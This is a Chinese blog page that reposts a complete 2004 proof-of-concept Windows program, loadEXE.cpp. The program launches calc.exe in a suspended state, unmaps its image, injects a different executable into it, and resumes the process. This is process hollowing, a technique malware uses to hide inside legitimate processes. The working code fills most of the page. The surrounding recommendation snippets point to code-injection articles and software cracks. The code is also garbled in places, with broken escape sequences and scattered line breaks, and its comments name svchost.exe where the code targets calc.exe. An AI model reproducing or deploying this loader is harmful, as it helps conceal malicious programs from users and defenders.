将进程变成一个线程执行代码2

ROS2学习(四)进程,线程与节点的关系 单线程节点执行器会将所有已添加到维护队列的节点限制在一个线程内处理所有回调,而多线程节点执行器会按照设备的性能,动态分配线程为队列内的节点处理回调。在ROS2中,节点和进程的概念完全分开的,节点是独立于操作系统进程或者线程的概念的抽象定义,它虽然依旧承载着通信的功能,但是并不作为独立的进程运行,而是嵌入进程中,作为一个抽象的实体进行运作。节点,英文是node,在ROS2中,节点是一个抽象的实体,它可以代表某种或某类特定功能的抽象集合体,它可以存在于进程中,也可以存在于线程中。 阅读详情
http://www.security.org.sg/code/loadexe.html
Code:

//*******************************************************************************************************
// loadEXE.cpp : Defines the entry point for the console application.
//
// Proof-Of-Concept Code
// Copyright (c) 2004
// All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, and/or sell copies of the Software, and to permit persons
// to whom the Software is furnished to do so, provided that the above
// copyright notice(s) and this permission notice appear in all copies of
// the Software and that both the above copyright notice(s) and this
// permission notice appear in supporting documentation.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
// HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL
// INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING
// FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
// NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
// WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
//
// Usage:
// loadEXE <EXE filename>
//
// This will execute calc.exe in suspended mode and replace its image with
// the new EXE's image.  The thread is then resumed, thus causing the new EXE to
// execute within the process space of svchost.exe.
//
//*******************************************************************************************************

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>

struct PE_Header
{
    
unsigned long signature;
    
unsigned short machine;
    
unsigned short numSections;
    
unsigned long timeDateStamp;
    
unsigned long pointerToSymbolTable;
    
unsigned long numOfSymbols;
    
unsigned short sizeOfOptionHeader;
    
unsigned short characteristics;
};

struct PE_ExtHeader
{
    
unsigned short magic;
    
unsigned char majorLinkerVersion;
    
unsigned char minorLinkerVersion;
    
unsigned long sizeOfCode;
    
unsigned long sizeOfInitializedData;
    
unsigned long sizeOfUninitializedData;
    
unsigned long addressOfEntryPoint;
    
unsigned long baseOfCode;
    
unsigned long baseOfData;
    
unsigned long imageBase;
    
unsigned long sectionAlignment;
    
unsigned long fileAlignment;
    
unsigned short majorOSVersion;
    
unsigned short minorOSVersion;
    
unsigned short majorImageVersion;
    
unsigned short minorImageVersion;
    
unsigned short majorSubsystemVersion;
    
unsigned short minorSubsystemVersion;
    
unsigned long reserved1;
    
unsigned long sizeOfImage;
    
unsigned long sizeOfHeaders;
    
unsigned long checksum;
    
unsigned short subsystem;
    
unsigned short DLLCharacteristics;
    
unsigned long sizeOfStackReserve;
    
unsigned long sizeOfStackCommit;
    
unsigned long sizeOfHeapReserve;
    
unsigned long sizeOfHeapCommit;
    
unsigned long loaderFlags;
    
unsigned long numberOfRVAAndSizes;
    
unsigned long exportTableAddress;
    
unsigned long exportTableSize;
    
unsigned long importTableAddress;
    
unsigned long importTableSize;
    
unsigned long resourceTableAddress;
    
unsigned long resourceTableSize;
    
unsigned long exceptionTableAddress;
    
unsigned long exceptionTableSize;
    
unsigned long certFilePointer;
    
unsigned long certTableSize;
    
unsigned long relocationTableAddress;
    
unsigned long relocationTableSize;
    
unsigned long debugDataAddress;
    
unsigned long debugDataSize;
    
unsigned long archDataAddress;
    
unsigned long archDataSize;
    
unsigned long globalPtrAddress;
    
unsigned long globalPtrSize;
    
unsigned long TLSTableAddress;
    
unsigned long TLSTableSize;
    
unsigned long loadConfigTableAddress;
    
unsigned long loadConfigTableSize;
    
unsigned long boundImportTableAddress;
    
unsigned long boundImportTableSize;
    
unsigned long importAddressTableAddress;
    
unsigned long importAddressTableSize;
    
unsigned long delayImportDescAddress;
    
unsigned long delayImportDescSize;
    
unsigned long COMHeaderAddress;
    
unsigned long COMHeaderSize;
    
unsigned long reserved2;
    
unsigned long reserved3;
};


struct SectionHeader
{
    
unsigned char sectionName[8];
    
unsigned long virtualSize;
    
unsigned long virtualAddress;
    
unsigned long sizeOfRawData;
    
unsigned long pointerToRawData;
    
unsigned long pointerToRelocations;
    
unsigned long pointerToLineNumbers;
    
unsigned short numberOfRelocations;
    
unsigned short numberOfLineNumbers;
    
unsigned long characteristics;
};

struct MZHeader
{
    
unsigned short signature;
    
unsigned short partPag;
    
unsigned short pageCnt;
    
unsigned short reloCnt;
    
unsigned short hdrSize;
    
unsigned short minMem;
    
unsigned short maxMem;
    
unsigned short reloSS;
    
unsigned short exeSP;
    
unsigned short chksum;
    
unsigned short exeIP;
    
unsigned short reloCS;
    
unsigned short tablOff;
    
unsigned short overlay;
    
unsigned char reserved[32];
    
unsigned long offsetToPE;
};


struct ImportDirEntry
{
    
DWORD importLookupTable;
    
DWORD timeDateStamp;
    
DWORD fowarderChain;
    
DWORD nameRVA;
    
DWORD importAddressTable;
};


//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
                
SectionHeader **outSecHdr)
{
    
fseek(fp, 0, SEEK_END);
    
long fileSize = ftell(fp);
    
fseek(fp, 0, SEEK_SET);

    if(
fileSize < sizeof(MZHeader))
    {
        
printf("File size too small/n");        
        return
false;
    }

    
// read MZ Header
    
MZHeader mzH;
    
fread(&mzH, sizeof(MZHeader), 1, fp);

    if(
mzH.signature != 0x5a4d)        // MZ
    
{
        
printf("File does not have MZ header/n");
        return
false;
    }

    
//printf("Offset to PE Header = %X/n", mzH.offsetToPE);

    
if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
    {
        
printf("File size too small/n");        
        return
false;
    }

    
// read PE Header
    
fseek(fp, mzH.offsetToPE, SEEK_SET);
    
PE_Header peH;
    
fread(&peH, sizeof(PE_Header), 1, fp);

    
//printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
    //printf("Number of sections = %d/n", peH.numSections);

    
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
    {
        
printf("Unexpected option header size./n");
        
        return
false;
    }

    
// read PE Ext Header
    
PE_ExtHeader peXH;

    
fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

    
//printf("Import table address = %X/n", peXH.importTableAddress);
    //printf("Import table size = %X/n", peXH.importTableSize);
    //printf("Import address table address = %X/n", peXH.importAddressTableAddress);
    //printf("Import address table size = %X/n", peXH.importAddressTableSize);


    // read the sections
    
SectionHeader *secHdr = new SectionHeader[peH.numSections];

    
fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

    *
outMZ = mzH;
    *
outPE = peH;
    *
outpeXH = peXH;
    *
outSecHdr = secHdr;

    return
true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                       
SectionHeader *inSecHdr)
{
    
int result = 0;
    
int alignment = inpeXH->sectionAlignment;

    if(
inpeXH->sizeOfHeaders % alignment == 0)
        
result += inpeXH->sizeOfHeaders;
    else
    {
        
int val = inpeXH->sizeOfHeaders / alignment;
        
val++;
        
result += (val * alignment);
    }


    for(
int i = 0; i < inPE->numSections; i++)
    {
        if(
inSecHdr[i].virtualSize)
        {
            if(
inSecHdr[i].virtualSize % alignment == 0)
                
result += inSecHdr[i].virtualSize;
            else
            {
                
int val = inSecHdr[i].virtualSize / alignment;
                
val++;
                
result += (val * alignment);
            }
        }
    }

    return
result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{    
    if(
curSize % alignment == 0)
        return
curSize;
    else
    {
        
int val = curSize / alignment;
        
val++;
        return (
val * alignment);
    }
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            
SectionHeader *inSecHdr, LPVOID ptrLoc)
{
    
char *outPtr = (char *)ptrLoc;

    
fseek(fp, 0, SEEK_SET);
    
unsigned long headerSize = inpeXH->sizeOfHeaders;

    
// certain PE files have sectionHeaderSize value > size of PE file itself.  
    // this loop handles this situation by find the section that is nearest to the
    // PE header.

    
for(int i = 0; i < inPE->numSections; i++)
    {
        if(
inSecHdr[i].pointerToRawData < headerSize)
            
headerSize = inSecHdr[i].pointerToRawData;
    }

    
// read the PE header
    
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
    
//printf("HeaderSize = %d/n", headerSize);
    
if(readSize != headerSize)
    {
        
printf("Error reading headers (%d %d)/n", readSize, headerSize);
        return
false;        
    }

    
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

    
// read the sections
    
for(i = 0; i < inPE->numSections; i++)
    {
        if(
inSecHdr[i].sizeOfRawData > 0)
        {
            
unsigned long toRead = inSecHdr[i].sizeOfRawData;
            if(
toRead > inSecHdr[i].virtualSize)
                
toRead = inSecHdr[i].virtualSize;

            
fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
            
readSize = fread(outPtr, 1, toRead, fp);

            if(
readSize != toRead)
            {
                
printf("Error reading section %d/n", i);
                return
false;
            }
            
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
        else
        {
            
// this handles the case where the PE file has an empty section. E.g. UPX0 section
            // in UPXed files.

            
if(inSecHdr[i].virtualSize)
                
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
    }

    return
true;
}


struct FixupBlock
{
    
unsigned long pageRVA;
    
unsigned long blockSize;
};


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                  
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
    if(
inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        
FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
        
long delta = newBase - inpeXH->imageBase;

        while(
fixBlk->blockSize)
        {
            
//printf("Addr = %X/n", fixBlk->pageRVA);
            //printf("Size = %X/n", fixBlk->blockSize);

            
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
            
//printf("Num Entries = %d/n", numEntries);

            
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

            for(
int i = 0; i < numEntries; i++)
            {
                
DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
                
                
int relocType = (*offsetPtr & 0xF000) >> 12;
                
                
//printf("Val = %X/n", *offsetPtr);
                //printf("Type = %X/n", relocType);

                
if(relocType == 3)
                    *
codeLoc = ((DWORD)*codeLoc) + delta;
                else
                {
                    
printf("Unknown relocation type = %d/n", relocType);
                }
                
offsetPtr++;
            }

            
fixBlk = (FixupBlock *)offsetPtr;
        }
    }    
}


#define TARGETPROC "calc.exe"

typedef struct _PROCINFO
{
    
DWORD baseAddr;
    
DWORD imageSize;
}
PROCINFO;



//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
    
STARTUPINFO si = {0};

    if(
CreateProcess(NULL, TARGETPROC,
                     
NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))        
    {
        
ctx->ContextFlags=CONTEXT_FULL;
        
GetThreadContext(pi->hThread, ctx);

        
DWORD *pebInfo = (DWORD *)ctx->Ebx;
        
DWORD read;
        
ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
    
        
DWORD curAddr = outChildProcInfo->baseAddr;
        
MEMORY_BASIC_INFORMATION memInfo;
        while(
VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
        {
            if(
memInfo.State == MEM_FREE)
                break;
            
curAddr += memInfo.RegionSize;
        }
        
outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

        return
TRUE;
    }
    return
FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
    if(
inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        return
TRUE;
    }
    return
FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.  
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//    thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
    
STARTUPINFO si = {0};
    
PROCESS_INFORMATION pi;
    
CONTEXT ctx;
    
PROCINFO childInfo;
    
    if(
createChild(&pi, &ctx, &childInfo))
    {        
        
printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
        
printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
        
        
LPVOID v = (LPVOID)NULL;
        
        if(
inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
        {
            
// if new EXE has same baseaddr and is its size is <= to the original EXE, just
            // overwrite it in memory
            
v = (LPVOID)childInfo.baseAddr;
            
DWORD oldProtect;
            
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);            
            
            
printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
        }
        else
        {
            
// get address of ZwUnmapViewOfSection
            
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

            
// try to unmap the original EXE image
            
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
            {
                
// allocate memory for the new EXE image at the prefered imagebase.
                
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                if(
v)
                    
printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
            }
        }

        if(!
v && hasRelocationTable(inpeXH))
        {
            
// if unmap failed but EXE is relocatable, then we try to load the EXE at another
            // location
            
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(
v)
            {
                
printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

                
// we've got to do the relocation ourself if we load the image at another
                // memory location                
                
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
            }
        }

        
printf("EIP = %X/n", ctx.Eip);
        
printf("EAX = %X/n", ctx.Eax);
        
printf("EBX = %X/n", ctx.Ebx);        // EBX points to PEB
        
printf("ECX = %X/n", ctx.Ecx);
        
printf("EDX = %X/n", ctx.Edx);
        
        if(
v)
        {            
            
printf("New EXE Image Size = %X/n", imageSize);
            
            
// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
            
DWORD *pebInfo = (DWORD *)ctx.Ebx;
            
DWORD wrote;                        
            
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

            
// patch the base addr in the PE header of the EXE that we load ourselves
            
PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
            
peXH->imageBase = (DWORD)v;
            
            if(
WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
            {    
                
printf("New EXE image injected into process./n");

                
ctx.ContextFlags=CONTEXT_FULL;                
                
//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
                
                
if((DWORD)v == childInfo.baseAddr)
                {
                    
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;        // eax holds new entry point
                
}
                else
                {
                    
// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
                    // performed.
                    
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;        // eax holds new entry point
                
}

                
printf("********> EIP = %X/n", ctx.Eip);
                
printf("********> EAX = %X/n", ctx.Eax);

                
SetThreadContext(pi.hThread,&ctx);

                
ResumeThread(pi.hThread);
                
printf("Process resumed (PID = %d)./n", pi.dwProcessId);
            }
            else
            {
                
printf("WriteProcessMemory failed/n");
                
TerminateProcess(pi.hProcess, 0);
            }
        }
        else
        {
            
printf("Load failed.  Consider making this EXE relocatable./n");
            
TerminateProcess(pi.hProcess, 0);
        }
    }
    else
    {
        
printf("Cannot load %s/n", TARGETPROC);
    }
}




int main(int argc, char* argv[])
{
    if(
argc != 2)
    {
        
printf("/nUsage: %s <EXE filename>/n", argv[0]);
        return
1;
    }

    
FILE *fp = fopen(argv[1], "rb");
    if(
fp)
    {
        
MZHeader mzH;
        
PE_Header peH;
        
PE_ExtHeader peXH;
        
SectionHeader *secHdr;

        if(
readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
        {
            
int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
            
//printf("Image Size = %X/n", imageSize);

            
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(
ptrLoc)
            {
                
//printf("Memory allocated at %X/n", ptrLoc);
                
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                                
                
                
doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                                
            }
            else
                
printf("Allocation failed/n");
        }

        
fclose(fp);
    }
    else
        
printf("/nCannot open the EXE file!/n");

    return
0;
}
进程线程的执行与切换 引入 之前有一篇文章我写了为什么要引入虚拟内存,它可以维护内存的安全。之后,为了进一步保证系统和内存安全,操作系统又把虚拟地址划分为内核空间和用户空间,内核空间主要由操作系统控制,用户不可直接访问。 内核空间保存了像进程控制信息PCB这样有关进程的信息。而线程就是进程的执行体,它需要一个执行入口,通常会是某个函数的指令入口,这样的信息保存在用户空间。 执行 在创建进程时,操作系统会分别在内核空间和用户空间分配两段栈,即内核栈和用户栈,用来存储线程执行时需要保存的数据。 执行程序前,IP指向执行入口,e 阅读详情

相关推荐

Python数据爬取超详细讲解(零基础入门,老年人都看的懂)

Python数据爬取超详细讲解(零基础入门,老年人都看的懂)

python03011的博客 3754

APP服务端优化——2.将多进程改为多线程

文章目录一、修改的注意事项1.将创建多进程的函数改为创建多线程的函数2.创建一个容器,存放子线程的socket3.将原来多进程的程序的return修改为break4.makefile文件连接线程库5.修改全局变量5.1 业务请求参数(1)声明(2)在线程主函数中定义(3)将业务结构体变量作为参数传给需要到业务参数的函数5.2 数据库连接对象(1)将全局的数据库连接对象去掉(2)把数据库连接对象放在线程主函数中定义(3)修改连接数据的方式(4)将数据库连接对象传到需要操作数据库的函数中5.3 接收发送报文缓冲

qq_43403759的博客 582

C#实战:如何用winmm.dll打造毫秒级高精度定时器(附完整代码)

本文详细介绍了在C#中利用winmm.dll实现毫秒级高精度定时器的完整方案。针对.NET内置定时器精度不足的问题,通过调用timeSetEvent等原生API,提供了超越系统时钟中断周期的精准定时能力。文章包含核心原理剖析、完整的封装类代码以及音视频处理、游戏开发等场景下的实战应用与性能调优指南。

ujm5678901的博客 690

动态加载EXE文件到内存执行

//*******************************************************************************************************// loadEXE.cpp : Defines the entry point for the console application.//// Proof-Of-Concept Co

zzz3265的专栏 6280

【AI】在RK3576上,使用RKNN实现MeloTTS(文本转语音)

在瑞芯微的RK3576上实现TTS(文本转语音)功能,使用CPU实现时,几乎把CPU资源全部耗尽,没有实用价值。通过将MeloTTS转为onnx,再转为RKNN,来使用RK3576的NPU硬件加速,成功实现TTS。

郭老二 567

基于Simulink的固态变压器(SST)多级协同控制

本文基于Simulink平台,详细介绍了固态变压器(SST)多级协同控制的建模与仿真方法。针对SST三级架构(AC-DC、DC-DC、DC-AC)存在的级间耦合问题,提出了纵向解耦与横向联动的协同控制策略。通过搭建10kV/400V级联型SST系统模型,实现了输入电压波动±20%或负载0-100%跳变时直流母线电压波动小于2%的控制目标。文章详细讲解了Simulink建模步骤、控制算法推导及工程部署建议,包括功率前馈控制、虚拟惯性算法等关键技术。仿真结果表明,该协同控制方案能有效抑制负载突变时的电压波动,为

MHD0815的博客 215

直接运行内存中的程序

  Windows的PE加载器在启动程序的时候,会将磁盘上的文件加载到内存,然后做很多操作,如函数导入表重定位,变量预处理之类的。这位仁兄等于是自己写了一个PE加载器。直接将内存中的程序启动。记得以前的“红色代码”病毒也有相同的特性。    直接启动内存中的程序相当于加了一个壳,可以把程序加密保存,运行时解密到内存,然后启动,不过对于增加破解难度还要稍微复杂点。否则人家把内存中的进程DUMP出来然

1268

解锁PyCharm+Deepseek:本地部署AI编程超能力

在本次探索中,我们成功地在 PyCharm 中实现了 DeepSeek 的本地化部署,这一过程虽然涉及多个步骤,但每一步都为我们开启 AI 编程大门奠定了基础。从安装最新版 PyCharm,确保我们拥有一个功能强大且兼容性良好的开发环境,到注册 DeepSeek 账号并获取 API Key,这是连接我们与强大 AI 能力的关键纽带。接着,在 PyCharm 中安装 Continue 插件并进行精细配置,让 DeepSeek 能够深度融入我们的编程流程。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 5550

SetThreadContext注入

这文章其实不能算原创了只是把别人的代码搬过来注释然后测试一下。     原文链接->http://bbs.pediy.com/showthread.php?t=159536 作者通过修改Context.Eip来达到Hook EIP的目的,不过这种方式我表示在我的win2003上没有成功。同时,作者提供了在github上的源码,源码中作者修改的是Context.Eax。起初很不解,eax跟返回值相

lixiangminghate的专栏 5851

YOLOv11改进策略【小目标改进】| Shape-NWD:融合改进,结合Shape-IoU和NWD 更好地适应小目标特性

Bw−wgt2h−hgt2weight2Bweight2w−wgt​2h−hgt​2​其中weight2weight = 2weight2。

Limiiiing的博客 3055

开心消消乐

1)当点击一个1时,该1变被反转为0,同时相邻的上、下、左、右,以及左上、左下、右上、右下8个方向的1(如果存在1)均会自动反转为0;2)进一步地,一个位置上的1被反转为0时,与其相邻的8个方向的1(如果存在1)均会自动反转为0;上述样例中,四个角上的1均在中间的1的相邻8个方向上,因此只需要点击一次即可。给定一个N行M列的二维矩阵,矩阵中每个位置的数字取值为0或1。在上述4 * 4的矩阵中,只需要点击2次,即可将所有的1进行消除。接下来N行表示矩阵的初始值,每行均为M个数,取值范围[0,1]

面试高手的博客 2732

EXE进程注入EXE研究

用EXE比较复杂,主要是进程间的虚拟地址是重叠的,注入代码不能覆盖目标进程的代码,所以只能注入到与原本不同的虚拟地址上,这样所有直接寻址的指令都会出错,要避免使用直接寻址或者用代码修正使用直接寻址的指令。避免直接寻址的做法是:要注入的代码中,不要使用全局变量、静态变量、字符串常量

gameWYD的专栏 5066

RK平台以太网设置中添加代理设置

以太网中配置Configuration的时候可以IpConfiguration的初始化函数来设置代理类型和代理参数。通过添加一个KEY_ETH_PROXY的选项来设置代理的配置,然后再设置以太网静态或者动态的类型时候下发给系统进行设置。

Android系统开发笔记 657

什么是进程?什么是线程?进程与线程的区别?

目录 什么是进程?什么是线程? 为什么要有线程? 进程与线程的区别? 进程与线程的选择取决条件? 什么是进程?什么是线程? 进程:进程是并发执行程序在执行过程中资源分配和管理的基本单位(资源分配的最小单位)。进程可以理解为一个应用程序的执行过程,应用程序一旦执行,就是一个进程。每个进程都有自己独立的地址空间,每启动一个进程,系统就会为它分配地址空间,建立数据表来维护代码段、堆栈段和数据...

xzp_12345的博客 1万+

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

利用远程线程将代码注入到目标进程中执行

<br />/* ************************************<br />* remote.c<br />* 创建远程线程、将代码注入到其他进程中执行<br />**************************************/<br />/* 头文件 */<br />#include <windows.h><br />#include <Tlhelp32.h><br />/*************************************<br />* BO

yiruirui0507的专栏 3257

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

实验三 观察Linux进程线程的异步并发执行

实验三 观察Linux进程线程的异步并发执行 一、实验目的 通过本实验学习如何创建Linux进程及线程,通过实验,观察Linux进程及线程的异步执行。理解进程及线程的区别及特性,进一步理解进程是资源分配单位,线程是独立调度单位。 二、实验环境 硬件环境:计算机一台,局域网环境; 软件环境:Linux Ubuntu操作系统,gcc编译器。 三、实验内容和步骤 进程异步并发执行 1)编写一个C语言程序,该程序首先初始化一个count变量为1,然后使用fork函数创建两个子进程,每个子进程对count加1

weixin_46698891的博客 4334

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

什么是进程,什么是线程,什么时候用进程,什么时候用线程

什么是进程什么是线程?进程是指在系统中正在运行的一个应用程序;程序一旦运行就是进程进程可以认为是程序执行时的一个实例。进程是系统进行资源分配的独立实体, 且每个进程拥有独立的地址空间。一个进程无法直接访问另一个进程的变量和数据结构, 如果希望让一个进程访问另一个进程的资源,需要使用进程间通信,比如:管道,文件, 套接字等。一个进程可以拥有多个线程,每个线程使用其所属进程的栈空间。 线程与进程的一个...

qq_40395404的博客 1万+

线程与进程的区别?如何创建一个线程?Java中如何创建一个进程?

在操作系统中,进程是程序执行的实体。在Java中,我们可以通过多种方式创建和管理进程。了解进程的基本概念是创建和管理它们的第一步。进程是Java应用程序的重要组成部分,正确地创建和管理进程对于构建稳定和高效的应用程序至关重要。

赵KK的博客 1326

由进程创建线程,为什么进程也有一个线程号,应该如何理解?

进程是线程的集合,主线程是进程的默认线程。

weixin_52307528的博客 623

进程、线程与执行方式详解

进程是操作系统进行。

sswwsm的博客 1065

2. 进程和线程

上一篇博客,我们讲到了CPU和操作系统,今天我们讲一个操作系统中一个非常重要的概念—线程和进程。

xxhh156的博客 965

将进程变成一个线程执行代码

#include #include #pragma comment(lib,"ntdll.lib") typedef long NTSTATUS; NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAddress ); typedef struct _ChildProcessInfo {

1750

linux和windows一个进程最多启动多少个线程,一个线程可以包含多个进程吗

本文收集整理关于一个线程可以包含多个进程吗的相关议题,使用内容导航快速到达。内容导航:Q1:一个进程可以包含多个线程,什么线程分配给进程的主存地址空间linux下的单进程多线程的程序,要实现每个线程平均分配到多核cpu,主要有2个方法1:利用linux系统自己的线程切换机制,linux有一个服务叫做irqbalance,这个服务是linux系统自带的,默认会启动,这个服务的作用就是把多线程平均分配...

weixin_35669712的博客 2178

进程中的执行分支——线程

进程:为了并发执行任务(程序),现代操作系统才引进 进程 的概念:创建一个进程开销大:子进程需要拷贝父进程的整个地址空间:进程间的通信需要用第三方 (如:内核)P1 -> copy -> 内核 -> copy -> P2进程间通信代价或者开销也是很大的。进程的地址空间是独立,要通信的话需要用第三方的空间。于是,就有人提出能不能在 同一个(同一个进程内部)进程地址空间中进行任务的并发:线程/轻量级 进程。

LXYSDSG的博客 944

查询一个进程下面的线程数

线程是指进程内的一个执行单元,也是进程内的可调度实体. 线程是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位线程自己基本上不拥有系统资源,只拥有一点在运行中必不可少的资源(如程序计数器,一组寄存器和栈),但是它可与同属一个进程的其他的线程共享进程所拥有的全部资源.相对进程而言,线程是一个更加接近于执行体的概念,它可以与同进程中的其他线程共享数据,但拥有自己的栈空间,拥有独立的执行序列。*************** 当你发现自己的才华撑不起野心时,就请安静下来学习吧!进程至少有一个线程;

qq_43505188的博客 2035

一个进程能运行多少线程

记录瞬间。

wozijisunfly的专栏 981
上一篇: 将进程变成一个线程执行代码
下一篇: Win2K Kernel Hidden Process/Module Checker 0.1 (Proof-Of-Concept)
iiprogram
